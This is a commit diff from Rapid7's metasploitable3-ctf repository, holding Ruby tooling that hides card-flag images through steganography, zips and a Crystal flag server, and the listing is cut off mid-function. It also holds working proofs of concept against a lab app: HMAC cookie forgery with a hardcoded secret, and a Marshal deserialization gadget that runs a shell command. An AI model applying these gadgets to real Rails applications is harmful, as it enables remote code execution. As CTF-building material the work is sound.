Merge branch 'master' of github.com:rapid7/metasploitable3-ctf
After Width: | Height: | Size: 382 KiB |
After Width: | Height: | Size: 382 KiB |
|
@ -0,0 +1,37 @@
|
|||
# -*- coding: binary -*-
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'zlib'
|
||||
|
||||
def load_wav(fname)
|
||||
File.read(fname)
|
||||
end
|
||||
|
||||
def find_data_chunk_offset(wav)
|
||||
wav.index('data') + 1
|
||||
end
|
||||
|
||||
def get_data_chunk_size(wav)
|
||||
data_chunk_offset = find_data_chunk_offset(wav)
|
||||
wav[data_chunk_offset, 4].unpack('N').first
|
||||
end
|
||||
|
||||
def extract_data_chunk(wav)
|
||||
chunk_offset = find_data_chunk_offset(wav)
|
||||
chunk_size = get_data_chunk_size(wav)
|
||||
|
||||
wav[chunk_offset + 4 + 3, chunk_size]
|
||||
end
|
||||
|
||||
wav_fname = ARGV.shift
|
||||
output = ARGV.shift
|
||||
|
||||
wav = load_wav(wav_fname)
|
||||
data_chunk = extract_data_chunk(wav)
|
||||
data_chunk = Zlib::Inflate.inflate(data_chunk)
|
||||
|
||||
File.open(output, 'wb') do |f|
|
||||
f.write(data_chunk)
|
||||
end
|
||||
|
||||
puts "#{output} written"
|
|
@ -0,0 +1,88 @@
|
|||
# -*- coding: binary -*-
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'zlib'
|
||||
|
||||
def load_image(fname)
|
||||
data = File.read(fname)
|
||||
Zlib::Deflate.deflate(data)
|
||||
end
|
||||
|
||||
# http://www-mmsp.ece.mcgill.ca/documents/audioformats/wave/wave.html
|
||||
def make_wav(data_chunk)
|
||||
# 47202 test size
|
||||
size = 216 + data_chunk.length
|
||||
wav = ''
|
||||
|
||||
# WAV RIFF Header
|
||||
wav << 'RIFF' # groupID
|
||||
wav << [ size ].pack('V') # WAV Size
|
||||
wav << 'WAVE' # Riff Type
|
||||
|
||||
# FORMAT CHUNK
|
||||
wav << 'fmt ' # Chunk ID
|
||||
wav << [ 18 ].pack('V') # Chunk Size
|
||||
wav << [ 0x06 ].pack('v') # Format tag
|
||||
wav << [ 0x02 ].pack('v') # Channels
|
||||
wav << [ 0x1f40].pack('V') # Sample per sec
|
||||
wav << [ 0x3e80 ].pack('V') # Average Bytes per sec
|
||||
wav << [ 0x02 ].pack('v') # Block align
|
||||
wav << [ 0x08 ].pack('v') # Bits per sample
|
||||
wav << [ 0x00 ].pack('v')
|
||||
|
||||
# Fact Chunk
|
||||
wav << 'fact' # Chunk ID
|
||||
wav << [ 0x04 ].pack('V') # Chunk size
|
||||
wav << [ 0x5bc5 ].pack('V') # uncompressed size
|
||||
|
||||
# Data chunk
|
||||
wav << 'data' # Chunk ID
|
||||
wav << [ data_chunk.length ].pack('V') # Chunk size
|
||||
wav << data_chunk
|
||||
|
||||
# afsp Chunk
|
||||
wav << 'afsp' # Chunk ID
|
||||
wav << [ 73 ].pack('V') # Chunk size
|
||||
wav << 'AFspdate: 2003-01-30 03:28:44 UTC'
|
||||
wav << "\x00"
|
||||
wav << 'user: kabal@CAPELLA'
|
||||
wav << "\x00"
|
||||
wav << 'program: CopyAudio'
|
||||
wav << [ 0x00 ].pack('v')
|
||||
|
||||
# List chunk
|
||||
wav << 'LIST' # Chunk ID
|
||||
wav << [ 76 ].pack('V') # Chunk size
|
||||
wav << 'INFO'
|
||||
# Sub chunk: ICRD
|
||||
wav << 'ICRD' # Chunk ID
|
||||
wav << [ 0x18 ].pack('V') # Chunk size
|
||||
wav << '2003-01-30 03:28:44 UTC' # Timestamp
|
||||
wav << "\x00"
|
||||
# Sub Chunk: ISFT
|
||||
wav << 'ISFT' # Chunk ID
|
||||
wav << [ 0x0a ].pack('V') # Chunk Size
|
||||
wav << 'CopyAudio' # Value
|
||||
wav << "\x00"
|
||||
# Sub chunk: ICMT
|
||||
wav << 'ICMT' # Chunk ID
|
||||
wav << [ 0x0e ].pack('V') # Chunk Size
|
||||
wav << 'kabal@CAPELLA' # Value
|
||||
wav << "\x00"
|
||||
|
||||
wav
|
||||
end
|
||||
|
||||
# 'jack_of_clubs.PNG'
|
||||
image_fname = ARGV.shift
|
||||
output = ARGV.shift
|
||||
|
||||
zip_image = load_image(image_fname)
|
||||
wav = make_wav(zip_image)
|
||||
|
||||
File.open(output, 'wb') do |f|
|
||||
f.write(wav)
|
||||
end
|
||||
|
||||
puts "Imaged zipped in a wav file."
|
||||
puts "Wav file written to #{output}"
|
|
@ -0,0 +1,76 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'base64'
|
||||
|
||||
# source should be PNG file
|
||||
source_path = ARGV.shift
|
||||
|
||||
if source_path.nil? || source_path.empty? || !File.exists?(source_path)
|
||||
source_path = 'source.png'
|
||||
puts "* No argument provided. Using #{source_path} as the flag."
|
||||
end
|
||||
|
||||
str = Base64.strict_encode64(File.read(source_path))
|
||||
# Because Crystal crashes when concatenating the long Base64 string one byte at a time,
|
||||
# we need to make the operation small. We do this by preserving the first 99.9% of the string,
|
||||
# and then we obfuscate the rest, which should be enough of a pain to reverse for
|
||||
# most people.
|
||||
max_size = (str.length * 0.999).to_i
|
||||
puts "* First portion of the Base64 string size is: #{max_size}"
|
||||
str1 = str[0, max_size]
|
||||
str2 = str[max_size..-1]
|
||||
puts "* The last #{str2.length} will be obfuscated"
|
||||
obfuscated_str = str2.split('').map { |c| %Q|"#{c}"| } * " + "
|
||||
|
||||
crystal_code = %Q|
|
||||
# This file needs to be compiled into a binary using 'crystal build flag.rb' on a
|
||||
# x86/64 Ubuntu machine.
|
||||
#
|
||||
# The resulting binary will be what is added to the system.
|
||||
# It is intended to be accessed after initiating the correct port knocking sequence.
|
||||
#
|
||||
# To run: ./flag1 -p <port>
|
||||
# Defaults to 8989 if no port specified.
|
||||
|
||||
require "http/server"
|
||||
require "option_parser"
|
||||
require "base64"
|
||||
|
||||
flag = "#{str1}" + #{obfuscated_str}
|
||||
port = 8989
|
||||
|
||||
OptionParser.parse! do \|parser\|
|
||||
parser.banner = "Usage: flag_server [arguments]"
|
||||
parser.on("-p", "--port=PORT", "Use a custom port. Default is 8989.") { \|p\| port = p.to_i }
|
||||
parser.on("-h", "--help", "Show this help.") { puts parser }
|
||||
end
|
||||
|
||||
server = HTTP::Server.new("0.0.0.0", port) do \|context\|
|
||||
context.response.content_type = "image/png"
|
||||
context.response.print Base64.decode_string("\#{flag}")
|
||||
end
|
||||
|
||||
puts "Listening on http://0.0.0.0:\#{port}"
|
||||
server.listen|
|
||||
|
||||
puts "* This is the Crystal code you are about to compile:"
|
||||
puts
|
||||
puts crystal_code
|
||||
puts
|
||||
|
||||
CRYSTALFNAME = '/tmp/five_of_diamonds.cr'
|
||||
CRYSTALOUTPUT = 'five_of_diamonds'
|
||||
|
||||
File.open(CRYSTALFNAME, 'wb') { |f| f.write(crystal_code) }
|
||||
|
||||
puts "* Compiling code, please wait..."
|
||||
`crystal build --no-debug #{CRYSTALFNAME}`
|
||||
|
||||
unless File.exists?(CRYSTALOUTPUT)
|
||||
puts "[x] Crystal failed to build our code"
|
||||
exit
|
||||
end
|
||||
|
||||
puts "* Crystal built: #{CRYSTALOUTPUT}"
|
||||
print '* '
|
||||
puts `file #{CRYSTALOUTPUT}`
|
After Width: | Height: | Size: 407 KiB |
After Width: | Height: | Size: 497 KiB |
|
@ -0,0 +1,18 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'chunky_png'
|
||||
require 'base64'
|
||||
|
||||
img_fname = ARGV.shift
|
||||
|
||||
if img_fname.nil? || img_fname.empty?
|
||||
puts "[*] Please provide a PNG file"
|
||||
exit
|
||||
end
|
||||
|
||||
puts "[*] Extracting 5 of Hearts from #{img_fname}..."
|
||||
img = ChunkyPNG::Image.from_file(img_fname)
|
||||
five_of_hearts = Base64::strict_decode64(img.metadata['5_of_hearts'])
|
||||
File.open('real_5_of_hearts.png', 'wb') { |f| f.write(five_of_hearts) }
|
||||
|
||||
puts "[*] Done."
|
After Width: | Height: | Size: 44 KiB |
|
@ -0,0 +1,15 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'chunky_png'
|
||||
require 'base64'
|
||||
|
||||
FAKEPNG = 'fake.png'
|
||||
SOURCEPNG = 'source.png'
|
||||
OUTPNG = '5_of_hearts.png'
|
||||
|
||||
puts "[*] Injecting 5 of Hearts data into #{FAKEPNG}..."
|
||||
source = File.read(SOURCEPNG)
|
||||
b64 = Base64.strict_encode64(source)
|
||||
img = ChunkyPNG::Image.from_file(FAKEPNG)
|
||||
img.metadata['5_of_hearts'] = b64
|
||||
img.save(OUTPNG)
|
After Width: | Height: | Size: 456 KiB |
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# This will check our vulnerable app to see if it's vulnerable or not.
|
||||
# It does so by predicting the hash in the cookie.
|
||||
#
|
||||
|
||||
require 'openssl'
|
||||
require 'cgi'
|
||||
require 'net/http'
|
||||
require 'base64'
|
||||
|
||||
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
|
||||
|
||||
cli = Net::HTTP.new('172.28.128.3', 8181)
|
||||
req = Net::HTTP::Get.new('/')
|
||||
res = cli.request(req)
|
||||
cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
|
||||
data, hash = cookie.split('--')
|
||||
obj = Marshal.load(Base64.decode64(CGI.unescape(data)))
|
||||
puts "[*] Found data: #{obj}"
|
||||
puts "[*] Found hash: #{hash}"
|
||||
puts "[*] Attempting to recreate the same hash with secret: #{SECRET}"
|
||||
expected_hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, CGI.unescape(data))
|
||||
puts "[*] Predicted hash: #{expected_hash}"
|
||||
|
||||
if expected_hash == hash
|
||||
puts "[*] Yay! we can predict the hash. The server is vulnerable."
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# This PoC will inject Ruby code in our vulnerable app.
|
||||
# It will run the system command "id", and save the output in /tmp/your_id.txt
|
||||
#
|
||||
|
||||
require 'openssl'
|
||||
require 'cgi'
|
||||
require 'net/http'
|
||||
require 'base64'
|
||||
require 'digest'
|
||||
|
||||
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
|
||||
|
||||
http = Net::HTTP.new('172.28.128.3', 8181)
|
||||
req = Net::HTTP::Get.new('/')
|
||||
res = http.request(req)
|
||||
cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
|
||||
data, hash = cookie.split('--')
|
||||
obj = Marshal.load(Base64.decode64(CGI.unescape(data)))
|
||||
sid = obj['session_id']
|
||||
puts "[*] Obtained session ID: #{sid}"
|
||||
|
||||
puts "[*] Using stolen SECRET: #{SECRET}"
|
||||
puts "[*] Modifying _metasploitable cookie to 'six of clubs'"
|
||||
data = { 'session_id' => sid, '_metasploitable' => "six of clubs" }
|
||||
dump = [ Marshal.dump(data) ].pack('m')
|
||||
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
|
||||
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
|
||||
|
||||
req = Net::HTTP::Get.new('/flag')
|
||||
req['Cookie'] = cookie
|
||||
res = http.request(req)
|
||||
|
||||
File.open('6_of_clubs.png', 'wb') { |f| f.write(res.body) }
|
||||
md5 = Digest::MD5.hexdigest(res.body)
|
||||
puts "[*] 6_of_clubs.png downloaded."
|
||||
puts "[*] 6 of Clubs MD5: #{md5}"
|
||||
|
||||
=begin
|
||||
$ ruby get_flag.rb
|
||||
[*] Obtained session ID: e3d1958384f27cc5f16424f060c480ff28048ebd4bff3f338d00f045ff308752
|
||||
[*] Using stolen SECRET: a7aebc287bba0ee4e64f947415a94e5f
|
||||
[*] Modifying _metasploitable cookie to 'six of clubs'
|
||||
[*] 6_of_clubs.png downloaded.
|
||||
[*] 6 of Clubs MD5: d9247a49d132a4f92dcc813f63eb1c8b
|
||||
=end
|
|
@ -0,0 +1,34 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# This PoC will inject Ruby code in our vulnerable app.
|
||||
# It will run the system command "id", and save the output in /tmp/your_id.txt
|
||||
#
|
||||
|
||||
require 'openssl'
|
||||
require 'cgi'
|
||||
require 'net/http'
|
||||
|
||||
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
|
||||
|
||||
module Erubis;class Eruby;end;end
|
||||
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
|
||||
|
||||
erubis = Erubis::Eruby.allocate
|
||||
erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1"
|
||||
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
|
||||
proxy.instance_variable_set :@instance, erubis
|
||||
proxy.instance_variable_set :@method, :result
|
||||
proxy.instance_variable_set :@var, "@result"
|
||||
|
||||
session = { 'session_id' => '', 'exploit' => proxy }
|
||||
|
||||
dump = [ Marshal.dump(session) ].pack('m')
|
||||
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
|
||||
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
|
||||
|
||||
http = Net::HTTP.new('127.0.0.1', 8181)
|
||||
req = Net::HTTP::Get.new('/')
|
||||
req['Cookie'] = cookie
|
||||
res = http.request(req)
|
||||
puts "Done"
|
After Width: | Height: | Size: 419 KiB |
|
@ -0,0 +1,33 @@
|
|||
# Crystal version: 0.22.0
|
||||
require "Digest/MD5"
|
||||
# Crystal version 0.23.1
|
||||
# require "digest/md5"
|
||||
|
||||
Process.run("cd /opt/sinatra && bundle install", shell: true)
|
||||
yum_yum = "s" + "i" + "n" + "a" + "t" + "r" + "a"
|
||||
yuck_yuck = "b" + "a" + "n" + "a" + "n" + "a"
|
||||
var_code = "c" + "r"
|
||||
var_obf = "o" + "b" + "f" + "u" + "s" + "c" + "a" + "t" + "e"
|
||||
var_server = "." + "s" + "e" + "r" + "v" + "e"+ "r"
|
||||
var_passwd = "/" + "e" + "t" + "c" + "/" + "p" + "a" + "s" + "s" + "w" + "d"
|
||||
var_hash_match = "e" + "4" + "b" + "7" + "c" + "5" + "8" + "f" + "d" + "c" + "7" + "b" + "b" + "a" + "7" + "7" + "2" + "1" + "2" + "4" + "2" + "a" + "7" + "5" + "e" + "d" + "3" + "4" + "1" + "7" + "8" + "7"
|
||||
|
||||
passwd_lines = ""
|
||||
counter = 0
|
||||
|
||||
File.each_line(var_passwd) do |line|
|
||||
counter += 1
|
||||
if counter <= 40
|
||||
passwd_lines += line + "\n"
|
||||
end
|
||||
end
|
||||
|
||||
hash = Digest::MD5.hexdigest(passwd_lines)
|
||||
|
||||
if hash == var_hash_match
|
||||
code = %{require '#{var_obf}'; Obfuscate.setup { |c| c.salt = '#{yum_yum}'; c.mode = :string }; #{var_code} = Obfuscate.clarify(File.read('#{var_server}')); eval(#{var_code})}
|
||||
else
|
||||
code = %{require '#{var_obf}'; Obfuscate.setup { |c| c.salt = '#{yuck_yuck}'; c.mode = :string }; #{var_code} = Obfuscate.clarify(File.read('#{var_server}')); eval(#{var_code})}
|
||||
end
|
||||
|
||||
Process.run("cd /opt/sinatra && ruby -e \"#{code}\"", shell: true)
|
|
@ -0,0 +1,84 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'rqrcode'
|
||||
require 'fileutils'
|
||||
|
||||
# Installing rmagick is weird.
|
||||
# Do:
|
||||
# brew install imagemagick
|
||||
# brew unlink imagemagick
|
||||
# brew install imagemagick@6 && brew link imagemagick@6 --force
|
||||
# gem install rmagick
|
||||
#
|
||||
# https://stackoverflow.com/questions/39494672/rmagick-installation-cant-find-magickwand-h
|
||||
require 'Rmagick'
|
||||
include Magick
|
||||
|
||||
class SevenOfDiamonds
|
||||
|
||||
TEMPPATH = File.expand_path(File.join(__FILE__, '..', '.temp'))
|
||||
|
||||
def initialize
|
||||
make_temp_folder
|
||||
end
|
||||
|
||||
def make_temp_folder
|
||||
Dir.mkdir(TEMPPATH) unless Dir.exists?(TEMPPATH)
|
||||
end
|
||||
|
||||
def clear
|
||||
FileUtils.rm_rf(TEMPPATH) if Dir.exists?(TEMPPATH)
|
||||
end
|
||||
|
||||
def make_flag(source_image_path, out_path)
|
||||
bin = File.read(source_image_path)
|
||||
h = get_hex(bin)
|
||||
generate_qr_codes(h)
|
||||
make_gif(out_path)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
puts "[*] #{msg}"
|
||||
end
|
||||
|
||||
def get_hex(bin)
|
||||
h = bin.unpack('H*').first
|
||||
print_status("Hex string size: #{h.length}")
|
||||
h
|
||||
end
|
||||
|
||||
def generate_qr_codes(text)
|
||||
str_length = 50
|
||||
max_fname_length = (text.length / str_length).round.to_s.length
|
||||
counter = 0
|
||||
(0..text.length).step(str_length) do |i|
|
||||
s = text[i, str_length]
|
||||
if !s.nil? && !s.empty?
|
||||
counter += 1
|
||||
qr = RQRCode::QRCode.new(s)
|
||||
File.open(File.join(TEMPPATH, "#{counter.to_s.rjust(max_fname_length, '0')}.png"), 'wb') { |f| f.write(png = qr.as_png) }
|
||||
print_status("QR ##{counter} generated: #{s}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def make_gif(out_path)
|
||||
gif = ImageList.new(*Dir[".temp/*.png"])
|
||||
gif.delay = 10
|
||||
gif.write(out_path)
|
||||
print_status("GIF written as: #{out_path}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
source_image_path = 'hint.png'
|
||||
out_image_path = 'hint.gif'
|
||||
card = SevenOfDiamonds.new
|
||||
begin
|
||||
card.make_flag(source_image_path, out_image_path)
|
||||
ensure
|
||||
card.clear
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,77 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# gem install zxing
|
||||
require 'zxing'
|
||||
require 'fileutils'
|
||||
|
||||
# Installing rmagick is weird.
|
||||
# Do:
|
||||
# brew install imagemagick
|
||||
# brew unlink imagemagick
|
||||
# brew install imagemagick@6 && brew link imagemagick@6 --force
|
||||
# gem install rmagick
|
||||
#
|
||||
# https://stackoverflow.com/questions/39494672/rmagick-installation-cant-find-magickwand-h
|
||||
require 'Rmagick'
|
||||
include Magick
|
||||
|
||||
class CardExtractor
|
||||
|
||||
TEMPPATH = File.expand_path(File.join(__FILE__, '..', '.temp'))
|
||||
|
||||
def initialize(gif_path)
|
||||
make_temp_folder
|
||||
@frames = Image.read(gif_path)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
puts "[*] #{msg}"
|
||||
end
|
||||
|
||||
def make_temp_folder
|
||||
Dir.mkdir(TEMPPATH) unless Dir.exists?(TEMPPATH)
|
||||
end
|
||||
|
||||
def clear
|
||||
FileUtils.rm_rf(TEMPPATH) if Dir.exists?(TEMPPATH)
|
||||
end
|
||||
|
||||
def extract
|
||||
s = ''
|
||||
print_status("Extracting #{@frames.length} frames...")
|
||||
count = 0
|
||||
@frames.each do |frame|
|
||||
count += 1
|
||||
path = File.join(TEMPPATH, "qr#{count}.png")
|
||||
frame.write(path)
|
||||
qr = convert_qr_to_text(path).strip
|
||||
print_status("Decoded #{File.basename(path)}: #{qr}")
|
||||
s << qr if qr && !qr.empty?
|
||||
end
|
||||
|
||||
File.open('your_zip_hint.png', 'wb') { |f| f.write([s].pack('H*')) }
|
||||
end
|
||||
|
||||
def convert_qr_to_text(path)
|
||||
ZXing.decode(path)
|
||||
end
|
||||
end
|
||||
|
||||
def main
|
||||
gif_path = ARGV.shift
|
||||
if gif_path.nil? || gif_path.empty?
|
||||
puts "[x] Please specify a source GIF file"
|
||||
return
|
||||
end
|
||||
|
||||
ext = CardExtractor.new(gif_path)
|
||||
begin
|
||||
ext.extract
|
||||
ensure
|
||||
ext.clear
|
||||
end
|
||||
end
|
||||
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
main
|
||||
end
|
After Width: | Height: | Size: 7.7 KiB |
After Width: | Height: | Size: 452 KiB |
|
@ -0,0 +1,26 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# gem install rubyzip
|
||||
require 'zip'
|
||||
|
||||
SOURCEPNG = 'source.png'
|
||||
CARDNAME = '7_of_diamonds.png'
|
||||
ZIP_NAME = '7_of_diamonds.zip'
|
||||
password = ARGV.shift
|
||||
|
||||
if password.nil? || password.empty?
|
||||
puts "[x] Please set a password for the zip file you're trying to create"
|
||||
exit
|
||||
end
|
||||
|
||||
data = File.read(SOURCEPNG)
|
||||
zip = Zip::OutputStream.write_buffer(::StringIO.new(''), Zip::TraditionalEncrypter.new(password)) do |o|
|
||||
o.put_next_entry(CARDNAME)
|
||||
o.write data
|
||||
end
|
||||
|
||||
File.open(ZIP_NAME, 'wb') do |f|
|
||||
f.write(zip.string)
|
||||
end
|
||||
|
||||
puts "[*] #{ZIP_NAME} created with password: #{password}"
|
After Width: | Height: | Size: 403 KiB |
|
@ -0,0 +1,26 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# gem install rubyzip
|
||||
require 'zip'
|
||||
|
||||
SOURCEPNG = 'source.png'
|
||||
CARDNAME = '8_of_hearts.png'
|
||||
ZIP_NAME = '8_of_hearts.zip'
|
||||
password = ARGV.shift
|
||||
|
||||
if password.nil? || password.empty?
|
||||
puts "[x] Please set a password for the zip file you're trying to create"
|
||||
exit
|
||||
end
|
||||
|
||||
data = File.read(SOURCEPNG)
|
||||
zip = Zip::OutputStream.write_buffer(::StringIO.new(''), Zip::TraditionalEncrypter.new(password)) do |o|
|
||||
o.put_next_entry(CARDNAME)
|
||||
o.write data
|
||||
end
|
||||
|
||||
File.open(ZIP_NAME, 'wb') do |f|
|
||||
f.write(zip.string)
|
||||
end
|
||||
|
||||
puts "[*] #{ZIP_NAME} created with password: #{password}"
|
After Width: | Height: | Size: 458 KiB |
|
@ -0,0 +1,25 @@
|
|||
require 'chunky_png'
|
||||
|
||||
include ChunkyPNG::Color
|
||||
|
||||
# https://gist.github.com/jeffkreeftmeijer/923084
|
||||
module ChunkyPNG::Color
|
||||
def invert(value)
|
||||
rgb(MAX - r(value), MAX - g(value), MAX - b(value))
|
||||
end
|
||||
end
|
||||
|
||||
source = ARGV.shift
|
||||
dest = ARGV.shift
|
||||
|
||||
# joker-black.png
|
||||
img = ChunkyPNG::Image.from_file(source)
|
||||
img.pixels.map! do |p|
|
||||
if ChunkyPNG::Color.fully_transparent?(p)
|
||||
p
|
||||
else
|
||||
ChunkyPNG::Color.invert(p)
|
||||
end
|
||||
end
|
||||
|
||||
img.save(dest)
|
After Width: | Height: | Size: 459 KiB |
|
@ -0,0 +1 @@
|
|||
5c70e13495405b781e6f231d827a565a
|
After Width: | Height: | Size: 481 KiB |
After Width: | Height: | Size: 25 KiB |
After Width: | Height: | Size: 147 KiB |
After Width: | Height: | Size: 505 KiB |
|
@ -0,0 +1,249 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# This tool is built to create the King of Spades flag, which is placed in a motd file on IRC.
|
||||
#
|
||||
# Because IRC has a max size limit of roughly 200kb for MOTD, we need to do some
|
||||
# modifications to the images, such as resizing, changing the quality, and optimizing to
|
||||
# keep them under that limit.
|
||||
|
||||
# To use image_optimizer, first you need to do this:
|
||||
# $ brew install optipng jpegoptim gifsicle pngquant
|
||||
require 'image_optimizer'
|
||||
|
||||
require 'fileutils'
|
||||
require 'zip'
|
||||
require 'base64'
|
||||
require 'digest'
|
||||
require 'mini_magick'
|
||||
require 'chunky_png'
|
||||
include ChunkyPNG::Color
|
||||
|
||||
FLAGNAME = 'flag.png' # The flag name, which should be used in the CTF
|
||||
B64NAME = 'flag_base64.txt' # The file name of the Base64 string
|
||||
CARDNAME = 'king_of_spades.png' # The name of the card is the secret ZIP.
|
||||
WORKFOLDER = 'temp' # A temp folder for processing the images
|
||||
RESOURCES = ['fake.png', 'king_of_spades.png'] # The source images we want to use
|
||||
|
||||
# There is some trial-and-errors involved to determine these two numbers.
|
||||
# Changing the quality tends to have a bigger size change.
|
||||
JPGQUALITY = '10'
|
||||
REIZEPERT = 0.18
|
||||
|
||||
|
||||
# Resizes the image by reducing a specific percentage.
|
||||
# The percentage to reduce is set by the RESIZEPERT constant.
|
||||
def resize_image(img_path)
|
||||
img = MiniMagick::Image.open(img_path)
|
||||
print_status("Original #{img_path} dimension = #{img.height}x#{img.width}")
|
||||
new_width = img.width - (img.width * REIZEPERT).to_i
|
||||
new_height = img.height - (img.height * REIZEPERT).to_i
|
||||
img = img.resize("#{new_width}x#{new_height}")
|
||||
print_status("Resized #{img_path} dimension = #{img.height}x#{img.width}")
|
||||
img.write(img_path)
|
||||
end
|
||||
|
||||
# Converts a PNG to JPG.
|
||||
# The purpose of this is really to lower the quality of the image, which will dramatically
|
||||
# reduce the size of the image.
|
||||
def convert_png_to_jpg(img_path)
|
||||
print_status("Converting #{img_path} to JPG to reduce image quality to #{JPGQUALITY}")
|
||||
basename = File.basename(img_path, '.png')
|
||||
img = MiniMagick::Image.open(img_path)
|
||||
img.format('JPEG')
|
||||
img.quality(JPGQUALITY)
|
||||
dst = "#{WORKFOLDER}/#{basename}.jpg"
|
||||
img.write(dst)
|
||||
dst
|
||||
end
|
||||
|
||||
# Converts a JPG back to PNG.
|
||||
def convert_jpg_to_png(img_path)
|
||||
print_status("Converting #{img_path} back to PNG")
|
||||
basename = File.basename(img_path, '.jpg')
|
||||
img = MiniMagick::Image.open(img_path)
|
||||
img.format('PNG')
|
||||
dst = "#{WORKFOLDER}/#{basename}.png"
|
||||
img.write(dst)
|
||||
dst
|
||||
end
|
||||
|
||||
# Collects the transparent pixel indexes from PNG.
|
||||
# The purpose of this is because after converting an image to JPG, we lose transparency.
|
||||
# So before converting to JPG, we need to keep track of where the transparent pixels are,
|
||||
# and then when we can finally convert these JPGs back to PNGs again, we will need to
|
||||
# restore these pixels.
|
||||
def map_transparent_pixels(img_path)
|
||||
print_status("Mapping transparent pixels for #{img_path}")
|
||||
img = ChunkyPNG::Image.from_file(img_path)
|
||||
|
||||
found_indexes = []
|
||||
index = 0
|
||||
img.pixels.each do |p|
|
||||
found_indexes << index if ChunkyPNG::Color.fully_transparent?(p)
|
||||
index += 1
|
||||
end
|
||||
|
||||
found_indexes
|
||||
end
|
||||
|
||||
# Optimizes a PNG file.
|
||||
# There is some voodoo invovled in this optimizer to make a PNG smaller without
|
||||
# losing quality that our eyes can see.
|
||||
# @see https://github.com/jtescher/image_optimizer
|
||||
def optimize(image_path)
|
||||
print_status("Optimizing #{image_path}, this may take a while...")
|
||||
ImageOptimizer.new(image_path, quiet: true).optimize
|
||||
end
|
||||
|
||||
# Restores the transparent pixels for a PNG file based on a map.
|
||||
def restore_transparency(img_path, transparency_map)
|
||||
print_status("Restoring transparency for #{img_path}")
|
||||
img = ChunkyPNG::Image.from_file(img_path)
|
||||
transparency_map.each do |i|
|
||||
img.pixels[i] = ChunkyPNG::Color::TRANSPARENT
|
||||
end
|
||||
img.save(img_path)
|
||||
end
|
||||
|
||||
# Zip a file
|
||||
def zip_file(fname)
|
||||
png = File.read(fname)
|
||||
zip = Zip::OutputStream.write_buffer(::StringIO.new('')) do |o|
|
||||
o.put_next_entry(CARDNAME)
|
||||
o.write(png)
|
||||
end
|
||||
|
||||
dst = "#{fname}.zip"
|
||||
File.write(dst, zip.string)
|
||||
dst
|
||||
end
|
||||
|
||||
# Creates a Base64 file for a PNG
|
||||
def make_base64_file(fname)
|
||||
b64 = Base64.strict_encode64(File.read(fname))
|
||||
File.write(B64NAME, b64)
|
||||
B64NAME
|
||||
end
|
||||
|
||||
# Creates a fake PNG that actually functions like a ZIP file. Once is ZIP file is decompressed,
|
||||
# there is actually another PNG in it (which in our case, is the flag).
|
||||
def finalize_king_of_spades(fake_card_path, king_of_spades_path)
|
||||
print_status("Creating flag as #{FLAGNAME}")
|
||||
zip = zip_file(king_of_spades_path)
|
||||
print_status("King of Spades compressed as: #{zip}")
|
||||
`cat #{fake_card_path} #{zip} > #{FLAGNAME}`
|
||||
FLAGNAME
|
||||
end
|
||||
|
||||
# Initializes our image workspace
|
||||
def make_work_folder_if_empty
|
||||
unless Dir.exists?(WORKFOLDER)
|
||||
FileUtils.mkdir_p(WORKFOLDER)
|
||||
print_status("Workspace \"#{WORKFOLDER}\" created")
|
||||
end
|
||||
end
|
||||
|
||||
# Removes the workspace at the end of the script
|
||||
def cleanup
|
||||
if Dir.exists?(WORKFOLDER)
|
||||
FileUtils.remove_dir(WORKFOLDER)
|
||||
print_status("Workspace \"#{WORKFOLDER}\" deleted.")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the file size
|
||||
def get_file_size(img_path)
|
||||
File.size(img_path)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
puts "* #{msg}"
|
||||
end
|
||||
|
||||
def init_workspace
|
||||
make_work_folder_if_empty
|
||||
FileUtils.copy(RESOURCES.first, WORKFOLDER)
|
||||
FileUtils.copy(RESOURCES.last, WORKFOLDER)
|
||||
@fake_card_path = "#{WORKFOLDER}/#{RESOURCES.first}"
|
||||
@king_of_spades_path = "#{WORKFOLDER}/#{RESOURCES.last}"
|
||||
end
|
||||
|
||||
# Returns the MD5 string of a file
|
||||
def get_md5(fname)
|
||||
Digest::MD5.hexdigest(File.read(fname))
|
||||
end
|
||||
|
||||
def fake_card_path
|
||||
@fake_card_path
|
||||
end
|
||||
|
||||
def king_of_spades_path
|
||||
@king_of_spades_path
|
||||
end
|
||||
|
||||
def process_cards
|
||||
resize_image(fake_card_path)
|
||||
